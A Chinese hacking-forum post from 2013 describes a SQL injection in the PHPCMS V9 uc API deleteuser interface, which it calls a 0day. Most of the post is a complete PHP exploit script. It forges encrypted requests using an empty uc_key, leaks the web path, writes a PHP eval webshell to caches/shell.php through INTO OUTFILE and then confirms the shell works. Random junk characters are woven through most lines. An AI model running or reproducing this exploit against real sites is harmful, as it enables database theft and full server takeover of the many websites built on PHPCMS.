中国网络渗透测试联盟

标题: PHPCMS V9 uc API SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-9 01:22
标题: PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
3 v! D9 _5 Y7 _/ ^0 }! |/ R& g  v+ ]( t: b+ q2 R- S  ?8 a; g
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
2 _5 C. [. g2 h7 ~  A; i1 }) u4 b; c# G' a% _/ d
漏洞分析:2 N7 @+ q: _4 e* d
1.未启用ucenter服务的情况下uc_key为空
# V5 ?! i' h- }/ j6 Q/ J0 b% ^define('UC_KEY', pc_base::load_config('system', 'uc_key'));
9 p2 E, E" ?0 E1 `2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
( r: K/ T7 u5 W/ I! D5 _( B    public function deleteuser($get,$post) {# }7 m  ]( z1 {5 M; x
        pc_base::load_app_func('global', 'admin');, D! b/ D+ b- ~* O3 m1 [) R
        pc_base::load_app_class('messagequeue', 'admin' , 0);+ B1 T) b/ @: X1 l) E6 m+ g: B- Z
        $ids = new_stripslashes($get['ids']);
) ~/ N$ Y, `* z, F        $s = $this->member_db->select("ucuserid in ($ids)", "uid");) B: I: A* ^7 I4 P7 e* ^
SQL语句为6 a7 l5 I, M7 R" M
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
) A9 C; R( l6 P  V" c- w& B
4 d8 I. N; B* W0 X% j利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell- C/ f; [0 o  K. V# S% Z# }
<?php
; q/ ?& k- p( h2 L/ r8 ~( iprint_r('
7 S4 c2 S: [& G- `0 C& z. E3 n$ a% L8 n---------------------------------------------------------------------------! H/ ]$ E. P( ]* k: l. W
PHPcms (v9 or Old Version) uc api sql injection 0day( K7 ?4 l! r$ }( h& X3 }
by rayh4c#80sec.com
2 F7 }# Y# x& ~; x3 R& o4 ?! V  {---------------------------------------------------------------------------
+ J" l3 ?4 M0 x: ?');! M* ^- `3 S: w" y9 ~

5 U2 x9 B2 R. t( U* ^' n! @if ($argc<3) {" t' O; [3 G! L# ~3 ^) j% B+ \
    print_r('
) w* \6 r+ I( Z4 b  G---------------------------------------------------------------------------- d6 S( P0 K  Z8 P) ]7 f% ^- }3 J
Usage: php '.$argv[0].' host path OPTIONS  O7 u% F, f9 c
host:      target server (ip/hostname)- P/ h& @8 E4 D  G1 P
path:      path to phpcms
0 l  s& H9 J$ e, I, m4 TOptions:  P  ^: {. h$ X7 n. M9 v
-p[port]:    specify a port other than 80: ~0 y+ q* P+ S4 I5 e
-P[ip:port]: specify a proxy
1 I  p2 \- T$ }: b0 n& q' NExample:
$ I4 a# i3 c4 f8 @1 `php '.$argv[0].' localhost /
  \& N$ Z( d3 sphp '.$argv[0].' localhost /phpcms/ -p81
. _, \! A. Y1 J* jphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
: x* ^% H7 \$ |8 O7 g) B; h8 j) p8 G---------------------------------------------------------------------------' _, Y3 m! W) {# Y: K
');
* ]; d. v1 E/ U* g    die;
+ k$ M& n  @( S0 `7 V5 e( j}- V) D6 [5 ]& \$ P% C
6 w* _& I2 T/ _& J2 `& \# \
error_reporting(7);
: c. T. N$ P( Z3 J; ]8 wini_set("max_execution_time",0);* f. k1 t$ F8 l' o
ini_set("default_socket_timeout",5);  z( v5 V8 l; V  r4 ^
( P8 R1 n5 W! h) U
function quick_dump($string)0 i4 u- X; E* ~$ W
{2 l5 i( E$ o5 X! _" q# R& u! o4 j
  $result='';$exa='';$cont=0;8 `3 l5 H" Q  j$ P% V6 T
  for ($i=0; $i<=strlen($string)-1; $i++)
" w; Y+ ^% W: [$ y  {
. n' e5 f" D& q* g   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
# }! d; W2 j7 `; V! y1 x   {$result.="  .";}3 W0 I5 Y5 x$ `; h. m, G
   else
  [& \8 }6 b0 D; p   {$result.="  ".$string[$i];}
8 O4 L! W1 @, q2 {0 y& O  ^   if (strlen(dechex(ord($string[$i])))==2)4 Z3 D2 A( R- z5 A6 D
   {$exa.=" ".dechex(ord($string[$i]));}
. v4 w1 Y6 y4 ~' w2 C   else
* ?5 a) a- ]0 b. i" A% ^' L   {$exa.=" 0".dechex(ord($string[$i]));}
2 n: j2 J7 i9 t0 x6 \   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
$ G6 z9 ]5 a8 ~4 q" @% W  }5 K; |( X* i* e1 J
return $exa."\r\n".$result;
! ?* F7 H2 w8 k0 j- L3 j}
/ {2 f( }9 P, {! ^* P) [+ S& \$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  {+ F/ M+ e& N* f0 d

/ R* J. {( j5 b+ _1 @, O+ R( Sfunction send($packet)
' a" A* \; b: z" A3 U3 U{4 ]! S' x, X0 U% g6 X
  global $proxy, $host, $port, $html, $proxy_regex;" N% K8 ?+ D% l2 O) ~( m
  if ($proxy=='') {
" Q' ~! {& V; e. @' f1 C    $ock=fsockopen(gethostbyname($host),$port);& ?! m1 m  }% _2 n5 \. |$ J5 `
    if (!$ock) {0 y4 z" H4 w+ ?8 p6 F/ |1 V+ v
      echo 'No response from '.$host.':'.$port; die;
, q8 u+ J1 d3 n. p/ @; w    }
8 N1 S2 j/ Q* t; s% h  }
5 d/ _+ f0 `; ?; d( ?  else {: J! D+ s* S( L) p, x/ W  P+ P& R6 G
        $c = preg_match($proxy_regex,$proxy);2 ]6 L& n& L! M  d8 N: n4 T& F! R
    if (!$c) {
7 E4 V" c5 i2 j! N/ e% G# {) d3 {      echo 'Not a valid proxy...';die;
. y/ o3 h8 b0 ?' G7 U; X% A* f( K    }
- y9 O! k+ @- u: I" u) h    $parts=explode(':',$proxy);9 _. I$ k5 L9 T4 L! g
    $parts[1]=(int)$parts[1];6 ?) _! N& \/ g6 S
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";9 _" x- ~0 `! A2 t" Q
    $ock=fsockopen($parts[0],$parts[1]);
1 z7 E/ J  o9 \5 S/ Z! g" p7 C    if (!$ock) {
; i  d) a! F5 r& U7 E      echo 'No response from proxy...';die;
5 N5 W- }$ R6 }' |7 Q- u. K        }
- v1 s+ Q9 N  B9 ^% V) n2 m  }
7 n& _* `9 d; v) G% A' b  fputs($ock,$packet);
' }0 k" H* {( B! b7 D  if ($proxy=='') {& o; q, s( a/ V9 f! N, |
    $html='';1 \5 Q% k, G! x) _- [
    while (!feof($ock)) {
4 y5 p& [8 _. T      $html.=fgets($ock);% r7 Q6 X5 ~/ e% }, W
    }
% E6 V; j9 g* j* b+ f5 B  }- ]" y1 J# s" H# T$ Q
  else {! C/ |: \/ }/ J
    $html='';) E, R' X. P- q7 j7 ]3 J# ]! S
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  M. Q: u1 T; I2 k( V      $html.=fread($ock,1);
7 l$ O3 h9 L& z6 G) T    }
7 A2 J. o2 x7 p, \1 a9 p; W! R/ q( J9 T  }
9 `, R- v1 q2 W8 Y" f  fclose($ock);7 h7 j8 p$ l3 z/ }- E* w4 c
}- x$ K# E2 r) f

' `8 G, P5 w2 |/ Q7 L, d$host=$argv[1];$ ^5 w+ V$ ~8 U$ I! r
$path=$argv[2];. t  ^3 H2 v: e; |9 E$ r. o
$port=80;
) q' p7 ~. y$ l5 T0 W# ?$proxy="";
# W4 w4 x7 l. P) i6 s! Vfor ($i=3; $i<$argc; $i++){
8 ?- K+ Q; D& y! [+ ~: ?# Q$temp=$argv[$i][0].$argv[$i][1];/ [  r8 \5 B0 k$ j0 s
if ($temp=="-p")4 a9 Y* Y7 b" m. [9 Y- \3 ?
{
  U9 j- V' R! {/ e8 k1 E: v' |* F/ i  $port=(int)str_replace("-p","",$argv[$i]);
- w/ v) Q( \8 B# X. P}
* P; x4 P' a2 k2 t7 Hif ($temp=="-P")" A& F! a/ t+ v4 v9 @
{$ n" q8 S& U5 s* y7 ?! ~  y( i3 m
  $proxy=str_replace("-P","",$argv[$i]);
3 I6 [% t9 h- k}
" D1 c. N- o7 ~}
. j4 u+ D9 P7 f- a1 Z
; i) r; E) U$ [) Y. }1 O  lif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}1 W' S+ A2 |6 c& B. x( J0 \
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
9 c" x& l$ G+ h- b8 S3 j5 Z" O) v5 C  f# V( c8 S, N9 q% V
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {  D. j9 f/ f! ^+ ~8 }0 V( f
: a/ V+ e% @% j
    $ckey_length = 4;& K" n/ k8 y! M/ D6 T' q8 g

- G9 j; M2 M4 m" z$ \. Y    $key = md5($key ? $key : '');
) X5 U  l1 w2 i    $keya = md5(substr($key, 0, 16));
4 o4 ]* ]3 n0 r, i! w9 g    $keyb = md5(substr($key, 16, 16));
! G7 A* q* M% U    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';% [; h$ s5 w. R# X7 c0 t
) r1 [2 z! F3 z) X6 \9 H0 i
    $cryptkey = $keya.md5($keya.$keyc);2 l1 r3 i, j! v* q' Y  G
    $key_length = strlen($cryptkey);
, `2 _! X* M0 ?  M
4 d# k, `3 s; y2 E5 m) C4 m    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
% O3 B+ {+ \1 n1 Z/ N    $string_length = strlen($string);9 ]# U; g3 @  r

& T' y4 d: V4 g( c" J* n    $result = '';
8 M, K* A, |. G* V' W    $box = range(0, 255);
6 r+ H& L  K4 Y- y" q% M; I
8 J) d. J5 p2 n4 x7 t0 r    $rndkey = array();# \3 k  E3 ]% R6 S1 c
    for($i = 0; $i <= 255; $i++) {
) Z$ @3 t, \' h& g! n; X        $rndkey[$i] = ord($cryptkey[$i % $key_length]);+ D/ b, x) }8 M2 H& f& o
    }
# H8 F! v2 R; s& v! V' |  t  a# ^! ]* I- U
    for($j = $i = 0; $i < 256; $i++) {0 ]. G4 W$ t) c# y
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
6 n! j9 @4 x0 j4 u* _        $tmp = $box[$i];$ m- _1 Q3 d, f) \' F3 x
        $box[$i] = $box[$j];
7 E9 S; f3 W2 [3 {- }        $box[$j] = $tmp;
: C% Z% j- E5 `, K    }$ H4 _. D: q" |0 `
7 ~; e+ J8 _1 h7 K0 l! @' p
    for($a = $j = $i = 0; $i < $string_length; $i++) {
" S: P2 |1 s- M* f8 N$ |        $a = ($a + 1) % 256;
  B; Y1 k1 ^1 G; o5 R' O# O        $j = ($j + $box[$a]) % 256;/ w. K: t  u% ~  b- V
        $tmp = $box[$a];0 l8 N" r( Q3 O/ }0 k) m' s! z
        $box[$a] = $box[$j];& X' e' [+ V" s
        $box[$j] = $tmp;
) W# n! ?) C- G- R9 L' i' ~) F        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
" t0 U' h# v0 o9 w9 w1 k; {& l    }5 z  x4 n" D+ }% A. l# o5 |
' G" X7 p1 ?% w: c3 Y% ~+ j) X
    if($operation == 'DECODE') {
& r6 u" y) y7 z0 D& S6 L        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {, n( G- H- U$ n! w
            return substr($result, 26);
' j4 }9 {  d* |. P' i        } else {
8 S& J, b5 ?2 K# W; `' s) r& D1 e) C            return '';
4 r1 F2 w7 H$ a2 h; i        }( z) c9 Z" o0 M! H5 q
    } else {
8 ]. F9 c/ @; R% {( O2 t2 v5 h% H        return $keyc.str_replace('=', '', base64_encode($result));( ^: c4 w( o  K( N& M( F
    }
. q" A) a/ S9 W, g
0 U* ]# {) H9 h4 w# h7 Q  X* V}
7 Z7 \" _" ]# z1 u8 Z" e0 P" a% h) g8 J: c7 e
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
9 O* o3 F8 o2 D* v$SQL = urlencode(authcode($SQL, "ENCODE", ""));1 Z9 F2 ^& p. h% N8 L
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
) J$ {2 i8 X, E" }8 }$ O; G$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";7 Z% a8 _) [1 W9 L# I
$packet.="User-Agent: Mozilla/5.0\r\n";; e2 w2 X6 ~9 n6 N
$packet.="Host: ".$host."\r\n";3 P- u' H9 R6 `( z1 b$ B: K
$packet.="Connection: Close\r\n\r\n";1 J. R' m8 n2 `- o8 G& E
send($packet);
9 Z' B# j" |8 ]# cif(strpos($html,"MySQL Errno") > 0){
! j1 e# J- v  {* M( J2 }( s( w. N+ }echo "[2] 发现存在SQL注入漏洞"."\n";2 T* s3 h6 f$ h+ Y
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
% O/ }# P; t. h0 K6 P; a& ~$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
! ^  W& W1 o3 B$packet.="User-Agent: Mozilla/5.0\r\n";" Z# V$ z2 l& K6 g5 e
$packet.="Host: ".$host."\r\n";3 R1 [5 D' |' k; M5 _# T
$packet.="Connection: Close\r\n\r\n";4 G9 D1 q) L" @+ I/ j
send($packet);
. `/ K5 |# o! ]  J0 ]4 Hpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);! ^& w1 S* q' @4 l% Z+ |- M, @
//print_r($matches);0 \0 K( T9 h4 G- }. k* }
if(!empty($matches)){
- r% ~8 W. ~: g" i' b" Fecho "[4] 得到web路径 " . $matches[0]."\n";
6 f0 D' j) v/ ]. Pecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
2 {5 c: T9 ?6 @# |8 ~' H$SQL = "time=999999999999999999999999&ids=1)";
, w- E' N6 G. u7 f( }$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
: l" s. C! u" T$SQL.="&action=deleteuser";& B' j  r$ n& y1 Y
$SQL = urlencode(authcode($SQL, "ENCODE", ""));# V; J& g1 W) n3 e& r3 ^" x0 H
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";( W0 w8 h" {5 M( c6 W3 ~8 U, T8 a* u
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";1 o- T5 M+ {, b6 Y
$packet.="User-Agent: Mozilla/5.0\r\n";% j  M* C8 A* Y; I. S
$packet.="Host: ".$host."\r\n";
0 Z9 T5 t7 L; Z$packet.="Connection: Close\r\n\r\n";
( C0 ?) s  D. ]' n. g# g/ k4 `8 [send($packet);2 E6 ~9 x- i' }( `& U
if(strpos($html,"Access denied") > 0){/ M: K) T6 i- f/ z
echo "[-] MYSQL权限过低 禁止写入文件 ";( W/ y6 |4 R: m* {+ e  a" K
die;
1 g$ q; e4 O+ K% }- E9 a: b}
# h; \: O9 z' v1 a6 uecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
5 j% v" c0 O8 M( t" K$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";' D# L* Y2 [. _6 v; ~
$packet.="User-Agent: Mozilla/5.0\r\n";
% [) J2 I) Z% |; ], \) e$packet.="Host: ".$host."\r\n";! p6 j" i- F9 C+ K
$packet.="Connection: Close\r\n\r\n";9 N( x% g* _. s3 _& K
send($packet);: O$ C: @, @8 o* u" z: x0 }
if(strpos($html,"<title>phpinfo()</title>") > 0){
+ a* @0 ?/ _$ n& E, c3 Techo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";+ g4 g# H% u8 _* `- B8 `
}' S/ C" c& m1 ]/ _: n* C
}else{
7 K9 p0 ^; h3 ^. Decho "[-]未取到web路径 ";
( q4 `1 T- l: o  r4 c}
1 j7 Y+ k  d- P  P! b}else{
) G" m+ q6 N' f1 Hecho "[*]不存在SQL注入漏洞"."\n";' E% V8 W$ y* k5 S, u# v" x
}
# u5 t4 k, `: i9 ~0 X4 V! ~
! Q- b+ C7 [0 M0 H+ l( ~/ v?>; W) U* |8 j: H: B# V- _) C8 M





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2